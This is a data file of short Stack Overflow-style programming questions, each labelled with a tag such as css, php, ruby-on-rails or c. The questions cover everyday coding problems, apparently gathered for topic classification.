is there a  datatable  with  named row  in c#   i need a data structure with both named column and row. for example:   <pre><code>magic_data_table:          col_foo col_bar row_foo    1       3  row_bar    2       4 </code></pre>   i need to be able to access elements like <code>magic_data_table[ row_foo    col_bar ]</code> (which will give me <code>3</code>)    i also need to be able to add new columns like:   <pre><code>magic_data_table.columns.add( col_new ); magic_data_table[ row_foo    col_new ] = 5; </code></pre>   afaik  datatable only has named column...    edit: i don t need to change the name of a column or a row. however  i may need to insert new <em>rows</em> into the middle of the table.,c#
second ul li elements (inside another ul) are displaying over first ul  i have two  items - one inside another. the problem is that secon  items are displayed on top of the first ul li items.    html:   <pre><code>&lt;div id= left &gt; &lt;div id= logo &gt;&lt;/div&gt; &lt;div id= menu &gt;     &lt;ul class= menu &gt;         &lt;li class= item-101 &gt;&lt;a href= / &gt;home&lt;/a&gt;         &lt;/li&gt;         &lt;li class= item-102 current active deeper parent &gt;&lt;a href= /index.php/merchants-shops &gt;merchants / shops&lt;/a&gt;             &lt;ul&gt;                 &lt;li class= item-104 &gt;&lt;a href= /index.php/merchants-shops/hottest-discounts &gt;hottest discounts&lt;/a&gt;                 &lt;/li&gt;                 &lt;li class= item-105 &gt;&lt;a href= /index.php/merchants-shops/training-and-advice &gt;training and advice&lt;/a&gt;                 &lt;/li&gt;                 &lt;li class= item-106 &gt;&lt;a href= /index.php/merchants-shops/call-our-manager &gt;call our manager&lt;/a&gt;                 &lt;/li&gt;             &lt;/ul&gt;         &lt;/li&gt;         &lt;li class= item-103 &gt;&lt;a href= /index.php/contact-us &gt;contact us&lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>css:</strong>   <pre class= lang-css prettyprint-override ><code>#left {     float: left;     width: 250px; }  #left #menu ul {     list-style:none;     padding: 0; } #left #menu ul.menu li {     background-image: url(http://tax.allfaces.lv/templates/tax/images/menu_bulta.png)  url(http://tax.allfaces.lv/templates/tax/images/menu_fons.png);     background-position: 210px 7px  left 0px;     background-repeat: no-repeat;     width: 250px;     height: 44px;     padding: 0 0 5px 0; } #left #menu ul.menu li a {     text-transform: uppercase;     text-decoration: none;     font-style: italic;     padding: 15px 0 0 17px;     color: #336699;     font-size: 17px; } #left #menu ul.menu li.current {     background-image:none;     background-color: #1f5ca9; }  #left #menu ul.menu li.current a {     font-weight: bold;     color: white; }  #left #menu ul.menu li.current ul li {     background-image:none;     background-color: #1f5ca9; }  #left #menu ul.menu li.current ul li a {     font-size: 11px;     text-decoration: underline;     color: #c6e3ff; } </code></pre>   you can see an example here: <a href= http://jsfiddle.net/5he9y/  rel= nofollow >http://jsfiddle.net/5he9y/</a>,css
i want to convert object keys into array keys. for example my keys like data.row.key into [ data ][ row ][ key ]  i want to convert object keys into array keys. for example my keys like  <code>data.row.key</code> into <code>[ data ][ row ][ key ];</code>    i want to an array format <code>[ data ][ row ][ key ]</code>    thanks in advance,php
compare jquery datepicker with date in database in asp.net  i am newbie. i am working on asp.net website. i have added datepicker and it works fine. now i want to get that date and compare it with date in my database. but i have no idea of how to do it. i also goggled but couldn t find any solution.   <pre><code>    &lt;%@ page title=   language= c#  masterpagefile= ~/masterpage.master  autoeventwireup= true  codefile= test.aspx.cs  inherits= reserve  %&gt;  &lt;asp:content id= content1  contentplaceholderid= head  runat= server &gt;  &lt;script type= text/javascript &gt;     $(document).ready(function () {         $( #coin-slider ).coinslider();     });      &lt;/script&gt; &lt;script type= text/javascript  src= http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= jquery.datepick.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt;     $(function () {         $( #popupdatepicker ).datepick();      });      function showdate(date) {         alert( the date chosen is   + date);     }  &lt;/script&gt; &lt;/asp:content&gt; &lt;asp:content id= content2  contentplaceholderid= contentplaceholder1  runat= server &gt;  &lt;input type= text  id= popupdatepicker   /&gt;     &lt;asp:textbox id= textbox1  runat= server &gt;&lt;/asp:textbox&gt;     &lt;asp:button id= button1  runat= server  onclick= button1_click  text= button  /&gt;     &lt;div id= coin-slider  &gt;         &lt;a target= _blank &gt;&amp;nbsp;&lt;/a&gt;         &lt;a&gt;            &lt;img id= img2  src= ~/images/ar1.jpg  alt= header1  height= 120  runat= server  style= width: 110px /&gt;            &lt;img id= img3  src= ~/images/ar2.jpg  alt= header1  height= 120   runat= server  style= width: 110px /&gt;            &lt;asp:textbox id= textbox2  runat= server &gt;&lt;/asp:textbox&gt;         &lt;/a&gt;      &lt;/div&gt;         &lt;/asp:content&gt; </code></pre>,asp.net
angularjs - changing the url used in $resource.query method  i m using angularjs to integrate with a rest service which has already been built.    the rest api uses the following form for queries:    <a href= http://the.site/person/search/smith%20male  rel= nofollow noreferrer >http://the.site/person/search/smith%20male</a> (this searches for people called smith who are male)    i m aware that this form isn t the best and will be ultimately getting the api changed to use a url parameter.    currently i m just defining a resource inside my controller:   <pre><code>$scope.summary = $resource( http://the.site/person/search ); this.summary.query({ terms :  smith male  }); </code></pre>   but that generates url s of the form /person/search terms=smith%20male    is there a way to modify or override the url used  i m more familiar with backbone where i was able to provide a url() function in my which generated the correct form of url.,angularjs
expanding the black background on whole height and be able to scroll if needed  on the following page <a href= http://goo.gl/i5f0159  rel= nofollow >http://goo.gl/i5f0159</a> you ll see that the text in the box go outside of the page so when we scroll we can see all the text and the black background is correctly expanding.    on the following page <a href= http://goo.gl/p2n52um  rel= nofollow >http://goo.gl/p2n52um</a> you ll see that the text in the box is small but the problem is i would like the black background to expand on full height.    i need a css fix to be apply on both pages so no matter the height of the text  i would like the black background to fill the height.    any idea  thanks.,css
show some text if missing emoji in html  is there a way in html or angular to show some text if an emoji is missing  for instance  the thinking face emoji is missing in windows 8  so i was hoping to show some alternative text if possible.    the emoji code is &#x1f914;    my html is simple:    <pre><code>&lt;div ng-switch-when= folder       ng-bind-html= some text &amp;#x1f914; &gt; &lt;/div&gt; </code></pre>,html
find records with matching values in a column  i want to return all the records that having matching phoneboxrecordids in phonebox db.   <pre><code>select * from phonebox where phoneboxrecordids match </code></pre>   would return:   <pre><code>id phoneboxrecordids colour 4  492948            blue 9  492948            brown 27 492948            pink </code></pre>,sql
"hide css border triangle behind a tag  i have a responsive layout    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= large-2 columns &gt;
   &lt;div class= menu_item &gt;
     &lt;p&gt;
       &lt;a href= /example &gt;linktext&lt;/a&gt;
       &lt;span class= arrow &gt;&lt;/span&gt;
     &lt;/p&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     the arrow class on span creates an css triangle arrow (with the border-width: 2px 2px 0px trick). normally the p has enough width to display the linktext and the css triangle arrow next to each other. the triangle arrow is positioned absolute on the right hand side of the p tag. the p content should be one line height heigh (no line break). when i am resizing the liquid layout for some not primarily important window/screen sizes  the width of the p is smaller than would be needed for the linktext and the arrow right next to it. in this case  when the arrow doesn t fit next to the link text in the p tag  which width is given from the responsive layout  i want the arrow to be hidden behind the link text (like a has background white and a higher z index for example). however  this solution with background/z index didn t seem to work.    <em>edit</em> reformulated question as it seemed unclear  removed confusing fiddle",css
adding lib to  config.autoload_paths  in rails 3 does not autoload my module  i place a file name g.rb in side <code>rails.root/lib</code> folder the file content is like this:   <pre><code>module google end </code></pre>   then i add    <pre><code>config.autoload_paths += %w(#{config.root}/lib #{rails.root}/app/delayed_jobs) </code></pre>   to my <code>rails.root/config/application.rb</code>    however  when i try to invoke google from <code>rails console</code>  an exception is thrown. the exception goes away only if i execute <code>require  google </code>.  why  shouldn t my file is autoloaded and shouldn t i access the module without any extra <code>require</code> statement,ruby-on-rails
saving video to custom album in iphone  i am trying to write my own camera app for iphone. i am able to save photo and video to camera roll successfully. now  i am trying out to save photo and video to custom album. i am able to save photo to custom album with some help from browsing. also  i tried finding out if it is possible do the same with video. but  i was not able to do it and couldn t find the solution. can someone help me with this  similar question which is un-answered: <a href= https://stackoverflow.com/questions/10721988/save-video-to-custom-album-in-camera-roll >save video to custom album in camera roll</a>    regards.,iphone
how to use change() and keydown() at a time  when i press  enter  both methods are call simultaneously but i want to call only one method which display enter.   <pre><code>&lt;asp:textbox id= txtserialcodepopup  runat= server  cssclass= txtserialcodepopup form-control  placeholder= enter serialno &gt;&lt;/asp:textbox&gt;   $( .txtserialcodepopup ).keydown(function(e)         {             if(e.keycode == 13)             {                 alert( enter );                 return false;             }         });          $( .txtserialcodepopup ).change(function()         {               alert( change );               return false;         }); </code></pre>   here  txtserialcodepopup is textbox,javascript
are there any characters that would cause problems in sending an sms   are there any characters that  if included in an sms message (body)  might cause problems with being sent     edit: actually i only care really about any characters that can be input by user with keyboard (but in any language).. don t know if that makes my question easier to answer or not...,android
input:valid triggered even if it isn t valid  i have made a material design form but input:valid doesn t work the way it should. so the label should be in the form but if :focus or if :valid the label should move up and change the font size   <pre><code>.link-input input:focus ~ label   .link-input input:valid ~ label {     top: -20px;     font-size: 14px;     color: #5264ae; } </code></pre>   if i delete the    <blockquote>    .link-input input:valid ~ label  </blockquote>   from the above syntax on :focus works just right.    here is the example on jsfiddle <a href= https://jsfiddle.net/onjpeo7g/1/  rel= nofollow noreferrer >https://jsfiddle.net/onjpeo7g/1/</a>,css
css height transition in presence of padding (not covered by existing answers)  [my question differs from the suggested duplicate because of the presence of padding in my animated div]    trying to get a div to expand  without having fixed heights and with some padding. my css is below and i toggle <code>.closed</code> in and out using jquery.   <pre><code>.slide {   padding: 10%;   background-color: gold;   overflow-y: hidden;   transition: height 2s;   transition: max-height 2s;   height: auto;   max-height: 1000px; }  .closed {   height: 0;   max-height: 0; } </code></pre>   the issue is that with the padding you can t hide the text to start with  and without a fixed height you don t get a transitioned css change. can anyone help - hope i don t need to do more with javascript     <strong>update</strong> i ve now got to:   <pre><code>.slide {   padding: 10%;   background-color: gold;   overflow-y: hidden;   transition: max-height 2s ease;   max-height: 500px; }  .closed {   max-height: 0;   padding: 0;   transition: all 2s ease; } </code></pre>   see <a href= http://plnkr.co/edit/gcxjjpjy1iey2v078w2f p=preview  rel= nofollow >plnkr</a>. the problem now is the padding on closing. in the case above it transitions out  and if i limit the transition in .closed to <code>max-height</code> then there is a jarring effect as it collapses just as the animation starts.,css
using certificates in android client  i want to establish an ssl communication to the server from my android client.<br> this is what i ve done so far:<br><br> 1 created a a pair of public private keys using java keytool genkey(and in the process        created a self signed certificate)<br> 2. exported the public key and imported the public key in to another keystore(called customkeystore) <br><br> now i want to use this customkeystore file as my truststore. where should i place this file in my android client and how to make it aware of the path of this trustore and access it.,android
uncaught syntaxerror: unexpected token . in angular $location  <code>$location.path( /user/logout );</code>     this line gets an error <code>uncaught syntaxerror: unexpected token .</code> in console. it goes when that line is commented. what is the wrong with my code pls.   <pre><code>angular.module( symphony   [ ngroute ])          .config(function($routeprovider  $locationprovider  $location) {      $routeprovider             .when( /user   {         templateurl:  /angular/pages/user.php           controller: enterprisecontroller      })              .when( /modules   {         templateurl:  /angular/pages/merchant/dash.php           controller: merchantcontroller      })               .when( /user/logout   {         $location.path( /user/logout );     });       $locationprovider.html5mode(true); }); </code></pre>,angularjs
how do i read the selectedvalue of a dropdownlist in code behind  when the option has been added using javascript   how do i read the selectedvalue of a dropdownlist in code behind  when the option has been added using javascript     a little more background: i have cascading drop down lists  and i would like to fill in the values using javascript  so that i avoid postbacks when the user changes the selection in the first drop down list.    i am not allowed to use an update panel.    i have build a simple demo demonstrating problem. here is my markup code:   <pre><code>&lt;p&gt;     &lt;asp:dropdownlist runat= server  id= filterdropdownlist  /&gt; &lt;/p&gt; &lt;p&gt;     &lt;asp:button runat= server  id= searchbutton  text= search           onclick= searchbutton_click  /&gt;&lt;br/&gt;     &lt;asp:textbox runat= server  id= querytextbox  /&gt; &lt;/p&gt; &lt;script type= text/javascript      src= http://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt;     $(function () {         var filterdropdownlistid =  #&lt;%= filterdropdownlist.clientid %&gt; ;          $(filterdropdownlistid).append($( &lt;option&gt; ).prop( value    alpha ).html( a ));         $(filterdropdownlistid).append($( &lt;option&gt; ).prop( value    beta ).html( b ));     }); &lt;/script&gt; </code></pre>   and in the code behind i have the following:   <pre><code>protected override void render(htmltextwriter writer) {     // register the allowed values for the down down list.     page.clientscript.registerforeventvalidation(filterdropdownlist.uniqueid   alpha );     page.clientscript.registerforeventvalidation(filterdropdownlist.uniqueid   beta );      base.render(writer); }  protected void searchbutton_click(object sender  eventargs e) {     response.redirect(         string.format( {0} dropdown={1}&amp;query={2}               request.url.absolutepath              filterdropdownlist.selectedvalue              querytextbox.text)); } </code></pre>   the problem is  that filterdropdownlist.selectedvalue is empty. i would have expected it to be either  alpha  or  beta . i can read the value of querytextbox.text without problems.    it is possible to read mydropdownlist.selectedvalue when the values have been populated using javascript  or do a have to use a different approach,asp.net
record does not save with rollback  but errors object is empty  i have a rails form with association:   <pre><code>class classification &lt; activerecord::base   has_many :global_filters   accepts_nested_attributes_for :global_filters end </code></pre>   this is represented in a form:   <pre><code>&lt;%= form_for @classification do |f| %&gt;   &lt;%= f.fields_for :global_filters  f.object.global_filters.build do |global_filters_builder| %&gt;     &lt;%= global_filters_builder.text_field :name %&gt;     ... </code></pre>   i look in logs and notice a rollback. so i inspect in controller:   <pre><code>  def create     @classification = classification.new(classification_params)     if @classification.save       redirect_to @classification  notice:  classification was successfully created.      else       msg = @classification.errors.full_messages       render :new     end   end </code></pre>   msg is an empty array. note that i am using ruby-debug for additional assistance. how else can i find out why i am getting a rollback,ruby-on-rails
how to structure ruby on rails website  i m curious to learn ruby and ruby on rails. i have previous experience with php and some basic c/objective c and java.    i have done a couple of  get started with rails  tutorials and want to try do create a complete site now. i do have some questions.    is the entire website an app  i mean  sure  the simple  blog-with-comments  examples fit in a single app. but what if you want more  say  a forum  a blog  community  shop  task manager and so on (only random examples here... :) ).    should i split these things into different  apps  or not  i would still need them to communicate with each other and share user data and so on...    any ideas     regards linus,ruby-on-rails
how to show column name if it contains a specific value   i m trying to display the column name of the my table if it has the value 1   <pre><code>| a | b | c | d | | 0 | 1 | 1 | 0 | </code></pre>   in this case i would like to get the result:   <pre><code>| column | | b      | | c      | </code></pre>   i wrote the following query but it is not working:   <pre><code> show columns   from `questions`   where values=`1` </code></pre>,mysql
increment int value in objc setter/getter  i cannot figure this out. i need some help please.    this is in my viewcontroller.h file:   <pre><code>@property (nonatomic  assign) int count; </code></pre>   it holds the amount of times a user shows a specific screen. (the viewdidload method is called).    every time the viewdidload method runs  i call this method to increment the count:   <pre><code>- (void)returncount{     nsnumber *num = [nsnumber numberwithint:self.count];     nslog(@ %@  num);     if ([num intvalue] == 0) {         self.count = 0;         nslog(@ this worked and now the nil number is :%i  self.count);     }else{         self.count = self.count + 1;         nslog(@ this worked and now the 0 number is :%i  self.count);     } </code></pre>   self.count is used in my code in conditional statements (if self.count == 0) then do something  if (self.count > 1) then do something else.    each time it is called  self.count remains 0. how can i correctly increment this by one     thank you,objective-c
how do i get the parameter i passed into a call back at runtime  i am new to php callbacks  here is my code   <pre><code>function check($callback){     if(is_callable($callback)){         return call_user_func_array($callback);     }     return false; } </code></pre>   here are the values i am parsing into the callback        <pre><code> $id = 1;  $sub =  month ;  $check = check(function($id  $sub){     echo $id;     echo $sub; });  var_dump($check); </code></pre>   how do i access <code>$id</code> and <code>$sub</code>,php
return value from function whilst using settimeout  is there any way to have a function run with a settimeout and also return a value assigned to a variable     an example of what i mean is like this:   <pre><code>function count(start  target) {   if (start &lt; target) {     start += 0.1;     return start;   } else if (start &gt; target) {     return target;   }   // i m fully aware the return above will prevent this line occur   // this is my issue currently   settimeout(function () {     count(start  target)   }  1000); }  var el = document.getelementbyid( test ); var value = count(0.0  1.0); //get the opacity value  function check() {   el.style.opacity = value; //assign what the value is in this moment   if (value != 1.0) {     settimeout(check  0);   } }  check(); </code></pre>   i know this code won t work the way i want it because <code>return</code> exit s the function  i wrote it to explain what i am trying to do.    the reason i want to do this in this kinda way is because i have an element which i want to fade in by altering it s opacity.    so i have a function which would increment a start value to a target value using what ever easing i want  this then returns said value which would be assigned to the element s opacity property.     i don t want to pass the element to this <code>count</code> function because that means it limits the use of it for when i want to animate other things besides elements.    what would the solution to this problem be,javascript
database hit reduction .net   in a single webmethod in .net webservice there are 4 times db hit (for different tables)  apart from using stored procedures  is there any means which i can follow to reduce the db hit,.net
if len(list) in python  i m translating a python code to c in order to take advantage of the parallelism available on hpc systems (its a painful process) and i ve come across a conditional in python the original programmer used that confuses me   <pre><code>   if rnum &lt;&gt; current_res:       alim = 0       if len(f): alim = f[-1] </code></pre>   what does if len(f) satisfy  i cannot find this convention used in this way anywhere online. i imagine it is a bad programming practice.    any help would be much appreciated!,python
using sets in sql  i need to use sets in standard sql. is it possible somehow describe column type like selection from set of something <code>(example color=[red  green  blue] )</code>. should i describe this like datatype or use special tables that describes sets  i need this feature to be as much as possible standard in most sql servers. what is the best approach to solve this problem,sql
mysql count field 1 when field 2 =  hi i have the following table     <strong>feeder_bouts2</strong>   <pre>id|feeder|rfid       |bout_time           |success| 1 |   2  | 123456789 |2013-01-07 80:00:00 |  1    | </pre>   i am running the following query    <pre><code>select count(*)  feeder  from feeder_bouts2  where bout_time &gt;= 2013-01-01 8:00:00      and rfid != 123456789  and success = 1  group by feeder; </code></pre>   this works perfectly  however i would like to select the same output but only the output for multiple specific feeders e.g. feeder 1 2 3 4 6 7 8 something like   <pre><code>select count(*)  feeder  from feeder_bouts2  where bout_time &gt;= 2013-01-01 8:00:00       and rfid != 123456789  and success = 1       and feeder =  1 2 3 4 8 9 10   group by feeder; </code></pre>   thanking everyone in advance,mysql
setting image width according both container width and image s original width using css   is there any way to get the following effect using css    <ul> <li>when container s width is less than image s original width  set image s width to 100% of container s width.</li> <li>when container s width is larger than image s original width  set image s width to it s original wdith.</li> </ul>,css
is it possible to have private methods and properties visible to subclasses   what i m going for here is basically a class extension that is also visible to subclasses.  i suppose the effect could be accomplished by declaring the private methods and properties in a separate category file with its own @implementation block independent of the class s.  the superclass and each subclass could then #import the header. that s the best i can think of  but it feels like unnecessary file pollution  and the practice of realizing private methods with categories has largely been superseded by class extensions.  i m thinking it s not possible  but i m asking on the off-chance that someone cooler than me has thought of a better way.,objective-c
unable to save due to unpermitted parameters  hi in rails app i have a form generated in the scaffold way where the user inputs arrival and departure fields among other fields. rails automatically generated drop downs for year   month   day of month   hour   minutes and the other fields for editing   viewing etc but when trying to update the arrival and the departure fields its failing.the database is not updated with arrival and departure timestamps while the other fields are updated normally.     any ideas of how to insert the date fields in the database correctly      this is my database table:   <pre><code>class createlineitems &lt; activerecord::migration   def change     create_table :line_items do |t|       t.belongs_to :venue  index: true       t.belongs_to :route  index: true       t.text :comment       t.integer :rating       t.string :price       t.integer :order       t.timestamp :arrival       t.timestamp :departure        t.timestamps     end   end end </code></pre>   this is from the controller:   <pre><code>def permitted_params params.permit(:line_item =&gt; [:comment  :rating  :price :order   {:arrival=&gt;   [] :departure=&gt;[]}  :id])           end </code></pre>   this is from the log:   <pre><code>processing by lineitemscontroller#update as html parameters: { utf8 =&gt; ✓      authenticity_token =&gt; beebbrcopkwx7u6pjbjei9v8mojt8zkltco82f1gezu=    line_item =&gt;`{ route_id =&gt; 1    comment =&gt; test 123    rating =&gt; 2    price =&gt; 10 `euros    order =&gt; 9    arrival(1i) =&gt; 2010    arrival(2i) =&gt; 7    arrival(3i) =&gt; 15   ` arrival(4i) =&gt; 11    arrival(5i) =&gt; 13    departure(1i) =&gt;     departure(2i) =&gt;     departure(3i) =&gt;     departure(4i) =&gt;     departure(5i) =&gt;  }   commit =&gt; update line `item    id =&gt; 21 }  unpermitted parameters: route_id  arrival(1i)  arrival(2i)  arrival(3i)  arrival(4i)  arrival(5i)  departure(1i)  departure(2i)  departure(3i)  departure(4i)  departure(5i) unpermitted parameters: utf8  _method  authenticity_token  commit  id (3.1ms)  begin sql (10.8ms)  update  line_items  set  order  = $1   updated_at  = $2 where  line_items . id  = 21  [[ order   9]  [ updated_at   wed  09 apr 2014 10:56:06 utc +00:00]] </code></pre>   edit:    this is the new log after the change suggested  none of the values is now stored in the table :   <pre><code>started patch  /line_items/21  for 127.0.0.1 at 2014-04-09 14:34:07 +0300 processing by lineitemscontroller#update as html   parameters: { utf8 =&gt; ✓    authenticity_token =&gt; beebbrcopkwx7u6pjbjei9v8mojt8zkltco82f1gezu=    line_item =&gt;{ route_id =&gt; 1    comment =&gt; test 123    rating =&gt; 7    price =&gt; 20 euros    order =&gt; 1    arrival(1i) =&gt; 2012    arrival(2i) =&gt; 8    arrival(3i) =&gt; 15    arrival(4i) =&gt; 13    arrival(5i) =&gt; 14    departure(1i) =&gt; 2012    departure(2i) =&gt; 5    departure(3i) =&gt; 15    departure(4i) =&gt; 11    departure(5i) =&gt; 14 }   commit =&gt; update line item    id =&gt; 21 }   lineitem load (4.5ms)  select  line_items .* from  line_items  where  line_items . id  = $1 limit 1  [[ id    21 ]] unpermitted parameters: route_id    (4.6ms)  begin    (3.9ms)  commit redirected to http://localhost:3000/line_items/21 completed 302 found in 31ms (activerecord: 13.1ms) </code></pre>,ruby-on-rails
nsmutablearray exec_bad_access on initwithobjects  is the following legal in objective-c with arc enabled    <pre><code>nsmutablearray * smallarray = [[nsmutablearray alloc] initwithobjects:@ 1   @ 2   @ 3   nil]; smallarray = [[nsmutablearray alloc] initwithobjects:@ 4    5   nil]; </code></pre>   i thought it should be. however  in this situation it gives me exec_bad_access on the forth line:   <pre><code>nsmutablearray * bigarray = [[nsmutablearray alloc] init]; nsmutablearray * smallarray = [[nsmutablearray alloc] initwithobjects:@ 1   @ 2   @ 3   nil]; [bigarray addobject: smallarray]; smallarray = [[nsmutablearray alloc] initwithobjects:@ 4    5   nil]; </code></pre>   addobject copies the pointer right  so if i allocate a new segment of memory to smallarray to point to  what is wrong with that     however this code segment does not crash:   <pre><code>nsmutablearray * bigarray = [[nsmutablearray alloc] init]; nsmutablearray * smallarray = [[nsmutablearray alloc] initwithobjects:@ 1   @ 2   @ 3   nil]; [bigarray addobject: smallarray]; smallarray = [[nsmutablearray alloc] init]; [smallarray addobject:@ 4 ]; [smallarray addobject:@ 5 ]; </code></pre>   what s going on here,objective-c
writing number in array into command for function  i have an array (array) that contains some char that are numbers:   <pre><code>char array[] = [20  3  32  34  -12] //for example </code></pre>   i want to include this numbers for calling a function in the following way:    for array[0]  the message to send would be  r 20 . for array[1]  it would be  r 3 ...   <pre><code>sendtoserver( r 20 ); </code></pre>   how can i do this  i know i need a  for  loop for all of them  but my question is how do i get the  r array[0]  to be  r 20 .    thanks in advance!,c
url create and new in rails  i created a new rails project. after all  i have a question that i cannot find anywhere or answer by myself so i need your help.    when you create a new object (like person  book)  you need 2 action: <code>new</code> and <code>create</code>.    when i create new  i have link: <code>localhost:3000/admin/books/new</code>    and then when i create fails it will return <code>error message</code> anf this link: <code>localhost:3000/admin/books/create</code>   <pre><code>if i click in url and `enter`. it will wrong. </code></pre>   i m trying to use <code>redirect_to</code> or <code>render</code> if creation is failed. but nothing happen  sometimes it go to <code>new</code> page but it don t show error message.    i think is a rule in rails. <code>but i still want to ask that anyone have any idea to resolve this problem    go to</code>new<code>link with</code>error message<code>if they re failed</code>     more details: i m using typus gem to create view for admin. so i can t find routes file. i run <code>rake routes</code> and get:   <pre><code>get /admin/books/(:/action(/:id)) (.:format) post /admin/books/(:/action(/:id)) (.:format) patch /admin/books/(:/action(/:id)) (.:format) delete /admin/books/(:/action(/:id)) (.:format) </code></pre>   and controller when create book:   <pre><code>if result     format.html { redirect_on_success }     format.json { render json: @item } else     format.html { render :new  status: :unprocessable_entity }     format.json { render json: @item.errors  status: :unprocessable_entity } end </code></pre>   thanks for your helping :),ruby-on-rails
debugging php application after exit is called  i have a php application that is using a very modest amount of memory until exit is called; at which point the memory usage spikes dramatically causing a fatal error due to exceeding the memory limit.    is there any way to debug what the application/php is doing after exit is called  alternatively  are there any common reasons for a massive increase in memory to occur at this time  the output buffers are empty when the script is terminated.,php
working on how to display a map view in iphone  i can display the map view for specific location. however  i dont know how to zoom in or out in simulator. please any one how to do it  advice me. thanks,iphone
it should print true if the second argument is fully contained within the first argument  but it prints false <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main(int argc  char **argv){   char *str1  *str2;   int str1len  str2len;    str1 = argv[1]; str2 = argv[2];   str1len=strlen(str1);   str2len=strlen(str2);    if (str2len&gt;str1len){     printf( false\n );     return 0;   }   char sub1[100];   for (int i=0;i&lt;str1len-str2len;i++){     strncpy(sub1 str1+i str2len);     if (strcmp(sub1 str2)==0){       printf( true\n );     }     printf( false\n );     return 0;   } } </code></pre>   i don t know what part of it is wrong that it doesn t work. this is the question: a program that takes two text strings as arguments and prints  true  followed by a newline if the second string is entirely contained within the first  or  false  followed by a newline otherwise.,c
how to change my website direction ltr to rtl with css  i have a website <a href= http://urdu.gvnews.live  rel= nofollow noreferrer >urdu.gvnews.live</a> i want to flip the direction from ltr to rtl please help me how can i change it. the css link is <a href= http://gvnews.live/urdu/css/style1.css  rel= nofollow noreferrer >http://gvnews.live/urdu/css/style1.css</a>,css
open source fuzzy logic library  i need to implement ai for game based on fuzzy logic. i need to evaluate position of tower defense game and i have couple rules and i will add more. can anyone suggest me some open source fuzzy logic library in c++ or code examples,c++
how to navigate to user s specific path   <a href= https://i.stack.imgur.com/gvuft.jpg  rel= nofollow noreferrer >i have a vitals page for each user</a>    this is populated in the above vitals path from various models i have in my app. user1 books an appointment with user2 (doctor) ....(i don t have 2 user types) <a href= https://i.stack.imgur.com/mvayt.jpg  rel= nofollow noreferrer >user 2 s view of appointment booked by user1</a>    when user2 click s on the vitals and reports in the your patients section.... i am still seeing the vitals and reports of user2 but i want to see user 1 s vital and reports pages.    how do i do it      this is my reports controller:   <pre><code>            class reportscontroller &lt; applicationcontroller               before_action :set_report  only: [:show  :edit  :update  :destroy]               before_action :authenticate_user!                # get /reports               # get /reports.json               def index                 @reports = current_user.reports               end                # get /reports/1               # get /reports/1.json               def show                end                # get /reports/new               def new                 @report = current_user.reports.build               end                # get /reports/1/edit               def edit               end                # post /reports               # post /reports.json               def create                 @report = current_user.reports.build(report_params)                  respond_to do |format|                   if @report.save                     format.html { redirect_to @report  notice:  report was successfully created.  }                     format.json { render :show  status: :created  location: @report }                   else                     format.html { render :new }                     format.json { render json: @report.errors  status: :unprocessable_entity }                   end                 end               end                # patch/put /reports/1               # patch/put /reports/1.json               def update                 respond_to do |format|                   if @report.update(report_params)                     format.html { redirect_to @report  notice:  report was successfully updated.  }                     format.json { render :show  status: :ok  location: @report }                   else                     format.html { render :edit }                     format.json { render json: @report.errors  status: :unprocessable_entity }                   end                 end               end                # delete /reports/1               # delete /reports/1.json               def destroy                 if current_user.id == @report.user.id                   @report.destroy                 respond_to do |format|                   format.html { redirect_to reports_url  notice:  report was successfully destroyed.  }                   format.json { head :no_content }                 end               else                 redirect_to root_path  notice:  you don t have permission.                  end               end                private                 # use callbacks to share common setup or constraints between actions.                 def set_report                   @report = report.find(params[:id])                 end                  # never trust parameters from the scary internet  only allow the white list through.                 def report_params                   params.require(:report).permit(:name  :attachment)                 end             end </code></pre>   and this is my appointments controller:   <pre><code>            class appointmentscontroller &lt; applicationcontroller                before_action :authenticate_user!  except: [:notify]                    def preload                     practice = practice.find(params[:practice_id])                     today = date.today                     appointments = practice.appointments.where( date &gt;=     today)                      render json: appointments                 end                  def create                     @appointment = current_user.appointments.create(appointment_params)                      if @appointment                         # send request to paypal                         values = {                             business:  abc@gmail.com                               cmd:  _xclick                               upload: 1                              notify_url:  url.com                               amount: @appointment.price                              item_name: @appointment.practice.speciality                              item_number: @appointment.id                              quantity:  1                               return:  url.com/your_trips                          }                          redirect_to  https://www.sandbox.paypal.com/cgi-bin/webscr   + values.to_query                     else                         redirect_to @appointment.practice  alert:  oops  something went wrong...                      end                  end                   protect_from_forgery except: [:notify]                 def notify                     params.permit!                     status = params[:payment_status]                      appointment = appointment.find(params[:item_number])                      if status ==  completed                          appointment.update_attributes status: true                     else                         appointment.destroy                     end                      render nothing: true                 end                  protect_from_forgery except: [:your_trips]                 def your_trips                     @trips = current_user.appointments.where( status =     true)                 end                  def your_appointments                     @practices = current_user.practices                 end                  def check_date_time                     if params[:time].blank  || params[:date].blank                          render json: {status: true}                     else                         arr = []                         arr1 = []                         appointment.where(practice_id: params[:practice_id]).map{|a| arr &lt;&lt;  #{a.date} #{a.time.strftime( %t ) }  unless a.time.nil  }                         arr.map{|a| arr1 &lt;&lt; datetime.parse(a).to_i }                         d = datetime.parse( #{params[:date]} #{params[:time]} ).to_i                         if arr1.include (d)                             render json: {status: false}                         else                             render json: {status: true}                         end                     end                 end                  private                       def appointment_params                         params.require(:appointment).permit(:date  :hour  :price  :reason  :practice_id  :time)                     end             end </code></pre>,ruby-on-rails
javascript window.scrollby not working on particular page  window.scrollby is not working on the following page <a href= http://www.resident.co.il/aspx/places.aspx t=4&amp;a=1  rel= nofollow noreferrer >http://www.resident.co.il/aspx/places.aspx t=4&amp;a=1</a>    any idea what can be the problem,javascript
how to draw an image above an transparent image using coregraphics  i want to daw an image on an transparent image using coregraphics can any tell me with the couple of line of code,iphone
